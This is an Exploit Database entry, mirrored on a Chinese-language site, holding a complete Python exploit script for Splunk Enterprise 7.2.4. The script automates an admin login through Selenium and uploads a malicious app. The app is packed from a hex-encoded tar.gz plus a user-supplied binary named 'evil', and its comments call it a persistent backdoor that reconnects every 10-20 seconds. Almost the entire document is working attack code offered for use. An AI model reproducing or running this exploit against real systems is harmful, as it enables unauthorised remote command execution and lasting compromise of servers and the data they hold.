Splunk Enterprise 7.2.4 – Custom App Remote Command Execution (Persistent Backdoor / Custom Binary)

Exploit Database
111 阅读

作者： Matteo Malvica

日期： 2019-03-04
类别：
- webapps
平台：
- windows
来源：https://www.exploit-db.com/exploits/46487/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

#!/usr/bin/python

# Exploit Title: Splunk Enterprise 7.2.4 Custom App RCE (persistent backdoor - custom binary payload)

# Date: March 1, 2019

# Exploit Author: Matteo Malvica

# Original Author: Lee Mazzoleni

# Vendor Homepage: https://www.splunk.com/

# Software Link: https://www.splunk.com/en_us/download/splunk-enterprise.html

# Version: 7.2.4

# Tested on: kali 4.18.0-kali2-amd64

# CVE : n/a

# NOTES: Due to python interoperability issue on CentOS, I have upgraded the exploit to

# support any kind of binary or payload so the exploit does not have to rely on any python libraries

from selenium import webdriver

from selenium.webdriver.common.keys import Keys

from time import sleep

from sys import stdout,argv

from os import getcwd,path,system

from subprocess import Popen

import os

import stat

import binascii

# Download and unpack the correct version for your OS from here: github.com/mozilla/geckodriver/releases

gecko_driver_path = '/root/Desktop/geckodriver'

def checkLogin(url):

if '/login' not in url and '/logout' not in url:

print 'Login successful!'

else:

print 'Login failed! Aborting...'

exit()

def checkUrl(url):

if '_upload' not in url:

print '[-] Navigation error, aborting...'

exit()

def exploit(splunk_target_url, splunk_admin_user, splunk_admin_pass):

print '[+] Starting bot ...'

profile = webdriver.FirefoxProfile()

profile.accept_untrusted_certs = True

driver = webdriver.Firefox(firefox_profile=profile, executable_path=gecko_driver_path)

print '[*] Loading the target page ...'

driver.get(splunk_target_url)

sleep(1)

stdout.write('[*] Attempting to log in with the provided credentials ... ')

username_field = driver.find_element_by_name("username")

username_field.clear()

username_field.send_keys(splunk_admin_user)

sleep(1)

pw_field = driver.find_element_by_name("password")

pw_field.clear()

pw_field.send_keys(splunk_admin_pass)

pw_field.send_keys(Keys.RETURN)

sleep(3)

current_url = driver.current_url

checkLogin(current_url)

url = driver.current_url.split('/')

upload_url = url[0] + '//' + str(url[2]) + '/' + url[3] + '/manager/appinstall/_upload'

print '[*] Navigating to the uploads page ({}) ...'.format(upload_url)

driver.get(upload_url)

sleep(1)

current_url = driver.current_url

checkUrl(current_url)

form = driver.find_element_by_tag_name("form")

input = form.find_element_by_id("appfile")

input.send_keys(getcwd()+'/'+'splunk-shell.tar.gz')

force_update = driver.find_element_by_id("force")

force_update.click()

submit_button = driver.find_element_by_class_name("splButton-primary")

submit_button.click()

print '[*] Your persistent shell has been successfully uploaded!'

print '[*] Be patient, this might take up to a minute...!'

driver.quit()

def generatePayload(shellcode):

# this hex decodes into the evil splunk app (tar.gz file) that we will be uploading as the payload

# after the app is written to disk, together with the provided custom shellcode.

# the app configuration sets it to be enabled upon installation (restarting splunk / manually enabling it is not required.)

# this is a PERSISTENT backdoor, there is no need to re-upload multiple times... the backdoor will reconnect every 10-20 seconds

# CHANGED: the compressed app folder structure is loading a custom binary from inputs.conf

print '[*] Creating Splunk App...'

shell = '1f8b0800e229795c0003ed9c5b6fdbc81580a95c363283b65ea068b7401f06711749dc58e24da4ad34ad9dc44183a6dd20f2260b288a322247126b8a6449cab2374d11f407f4bddbd75efe47db97bef5adfd237def197264eb6ad95959c93ae703a42139c3b99d396766c8e1c4a1d7f577d7e236f3bca27436288a62954a2475cdcc553423730544d50dddd434c3d44ca2a8866ae812299d517e86e8c6098d202b1d9a242c981e0e82359bc7c423ca71e87e438807e55fa817ee57ea952488d83cd380fa300d63bafc556b40fea606f2371543958832cf4c4ce30397bf74f97b57a40b92f44b6a93cf2ae40b22e0d7a425f869f07b003f7ebecf6fe887d85c9e16e5d6cece1371b8dfbf0b793f19d6ffb3d0fe59faaf1a8a628ce87fc9d44aa8ff0b2277b7eba892c4d5392f65ee257972d0bcf88d7141b81ff1f8781c71d8f082069cfdab11ce3dc70882cc1baebb17a586e44a7ea337a8bf9e1b278af29fdc858b972e7f74259f97f3f2b7e45aa51df42a094dbaf15d1a55f9d9639ab41be2782708bcc363da78eab25e7df9bbf7023fa1aecfa2f466d76110e4f933d77782dedda0eb3b7175c0239f5fca2fd5973f79f54a2f29b788baa1bdbe455e59161c435ff1faf552fefb9faa771ebeec1c7cf9eab7af7ff7c7ac14b99c28ce77468af7d551f1f62a91ef057e4b4a8d95744572242635252a75254f4ace6be1478a39520997e15a20d9e0eb0d54c0fffa15f0df7e052cc95797ae7efbead27015d4977f2832fecc7592f60ef3b73db6c7fccfa247346173ab95c19aceaf6c36ff9d166e564de57f70fdc19317dddfffe1ab3ffdf92f7ffddbdfff3152591f8f54d63f87ab63a4a2ce25a260f9abef361b0882bc8770fb4084bb29dc37999b13fe17847b69e09e65e112e16e0af74de6e644b80bc2bd24dcbc7097854b84bb29dc37992b8c564e4c3e7222e59c98a1e4c4038a1c11eee6a98a8c201f0c17336799f7ffdbd3e7ff08829c637297ee57eedf95a6cf74785f4be0f7b27f8334792020c2f2aef813e9282c11eea670df642e0e0410044116cdd0fbbf86eb9fc51a90d3acffb00c85afffb05405d77f2c8221f93bac49bb5e32ef367042f96b9a6a6a4a89cbbf542a6928ff4530247f2fb0e919ac02e37217557352f96b8a89f25f0423f26fc567d001bc85fe2b16eaff4218923f0dc398457b2c9a6f2338bdfc4d552fa1fc17c190fc3b2ca10e4de89c6dc05be8bf85f67f314c967f3a1028f0d379a401f5611ed7ff5b9a35227fcb344c5cffb708aa60f38bae0fa503f90bb71e07ddc86675bbcdecddb8dba9c9d025c46ee0933bc42a68055dee044ee276189cab25a3b4a199d6ba52009d35d761a0a7c8f250acf09fb013c56115f40d5dd7b42c8e9a4c6d9bc53184881875489954c92aa9dd22bdc84d58ff5466fb61102510283e8813d6999dce7a492f6c94544b578ff2da75676710caa7140c553537cca31b3ddaf5a19ea29a1cf47c164160ea745cffa491e99abe7e145948ed5dda62c5b4e2ebcd20aa7743d047169f3873869295eac4f29facff622238270b0019328e5bffafebfab0fe6b60012cd4ff4570522d93ab611484713166bed3a1ae571c57bcbe02f84123700e64796565853c7db8fdacb2b3b5b35d2913be1e0c3ca30ef54817c6993189db41d773488311daf018490262431e20d5b84d23e6903d97f552eb1143fa472727ccf2bbaeda6f0453c6ffbca25d7b4ee3c0d38fff2c433370fcb7088e973f5cf05c1b0e03bf60c7f15ba631c3feeb9aa18dd87fcd3014b4ff8ba0b84aeeb5a9df02ebdb06331c86c40b5a0181110d2b1012b324bdde666eab9d147b7c6d2f81710939801122713b3058b945684c7ad07ab8cbc38614c28029e7c76908b25a940b10f3231ef12b997f3b96c55726861eeedf26e9a534ee325957e04a7aa10183a156c49700974937f26ef4dba4db6915e35d185c1e3eaeceda709d67bcdef0e0b642e8b76e4257b316b110fa13024d2a8bb3fe75226db9cdb1485fcb32d4e04e37f2090cce7891c5fd240c6297eb8debb748d04cbdae55d238c9e3a007d5eb5c1baa6a5e49599ac27ba0ba8aabab72f6d1dd2af9dcb7834e87f999609a81e7053d9e86e7fa2c26377a2ed4fe75c785a8e8c175c23b6d16252e8b6f72994087db4bef4b53e66966d113714399ac75822fd75c9fc7b6067563ef661577e82fbc1a3043dcbdcd2318cb609aef341bbd36ef8e13b69f1c7a9235d21d2c400cfebd805c3f92cb609e89dbe42dedba03a5db85d649862b302bc5485203851a103697f5b599c20eb37833a1a751f296746d50eab11d419573e19324a27e1cc240c54fc65bd75b2708adec240942317911b92e3edc3607bcec03ee05c8877f93a59336ea61e99cbd70e6269d433d5f94740e6dc0bca5236ca1a6f70d5f87462dd75f4b82b0ac1e5ecccca359e2e799d191bb5c3e6d37e68a2df433d56d9fc2bc50981c30bb852c64aab6595afc06eafc1a7a3e423db7e5a7f24e25c54b5a00c1ca6e735254041273fd430372abdf410ce5a10cd5e3b3db503a61f77f0e6374163d8be010e6076d5518353bf082a8bc62e9b45412e679208fa26f80b2beeb1ef27c33fefe87cfeee0608e69cc9aff2b8a3afafcdfd0f0f9df4240f5fab099aaff05756e69bc85fe974cfcfe7f21a0fe7fd84c58ffc3c78c76e01fd7d84fc7acf77fa0fba3fa6feaa8ff0ba12aded2d5e4f4d93ab94398cf1fc63bb25ce52fc5dcb8bee7c62e7f3c7f87a870f1e885975c15efab6af2d80bab34f0bb2e1b329b89eb3fe76c0166e9bf668deabfa55a06eaff22588169f753f16e592d2805455ee93fc8e1137ede0adc56374a5f0190a6eb3150fb31930133ffcc664c59400041b4f5e686696ea84c5159c3341c47b7b566c3b42d4a9beb8a61db25bb411bdac624b3d3a45ecc648f3698c7df36f2a6ba069943fb320726eabfeb3b6c9fc5f3b201b3c6ff9a35f6fe1f0c06eaff2218d3ff0218807be95bf8985012d34e083a983688f471a6b8c05789146479a59a9dd7e49576d0617c671688ef0ef951e5f1a3cf7ff58bfafdbbc52c40d169c82b76e039c704e1de3c58d2a63d96059c142cf38680efbaeace0513f53f5dea31bf11c02cfd57cdd1f9bf5542fd5f0c83fa9fad2c039d166b7c40ab1f3cdc7e747febd1c3adca5a276eb90e686407feb72a243d9557b6bfd879b2756f67ed37a95fffceea8be7b5daeaf35af979fce31b3ffb0978feb4faa25c5bbd5946ad7dbf98d2ff87dd647e0660b6fe5b47fb7f96f8fe9f9665e2febf0b61d2f8ffb0fbf749da122674fcd5d88edc3029178b85f4ab51b6c7cd457f1e00964081b940c2a23dea115591b3f9407210a6c3f9ae8f56e07d61ecfbdf33d8035c39c5fedfd9f7bfa6a9e0fbbfc580fb7f7fd08cebfffcf7003f5eff87f7ff16faaff3ef3f51ff17c284fdbfa54f27079db9ff771a9f88034110044190f71bdcff1b419069e0fedf08727e19d9ff7bdafc1f419073ccccfdbff9f59703c76fa4e98300dcff1b41100441100441100441100441100441100441100441100441100441ce86ff0365f75f'

bytes = shell.decode('hex')

f = open('splunk-shell.tar.gz','wb')

f.write(bytes)

f.close()

if shellcode == "evil":

print "shellcode filename needs to be different - please change it"

exit()

print '\t==> Adding custom shellcode'

# custom shellcode loading

with open(shellcode, "rb") as binaryfile :

evil_bytes = bytearray(binaryfile.read())

f = open('evil','w')

f.write(evil_bytes)

f.close()

st = os.stat('evil')

# making the binary executable

os.chmod('evil', st.st_mode | stat.S_IEXEC)

decompress_cmd = 'tar zxvf splunk-shell.tar.gz &>/dev/null; rm splunk-shell.tar.gz'

p = Popen(decompress_cmd, shell=True, executable='/bin/bash')

p.wait()

move_cmd = 'cp evil splunk-shell/bin/'

p = Popen(move_cmd, shell=True, executable='/bin/bash')

p.wait()

compress_cmd = 'tar zcvf splunk-shell.tar.gz splunk-shell/ &>/dev/null; rm -r splunk-shell/'

p = Popen(compress_cmd, shell=True, executable='/bin/bash')

p.wait()

if path.isfile('splunk-shell.tar.gz'):

print '\t==> Payload Ready! (splunk-shell.tar.gz)'

def showUsage():

print '\n\tScript Usage: {} <targetUrl> <username> <password> <shellcode>'.format(argv[0])

print '\tExample: {} http://192.168.4.16:8000 admin changeme shellcode.bin\n'.format(argv[0])

if len(argv) != 5:

showUsage()

exit()

if not path.isfile(gecko_driver_path):

print '\n\t[!] This program requires geckodriver, download the corresponding version for your OS from the following link:'

print '\t\t==> https://github.com/mozilla/geckodriver/releases'

print '\n\t[!] Extract the geckodriver binary, then add its full path to line 20 of this script.'

print '\t\t==> gecko_driver_path = "/tmp/geckodriver"\n'

exit()

splunk_target_url = argv[1]

splunk_admin_user = argv[2]

splunk_admin_pass = argv[3]

splunk_shellcode= argv[4]

generatePayload(splunk_shellcode)

exploit(splunk_target_url, splunk_admin_user, splunk_admin_pass)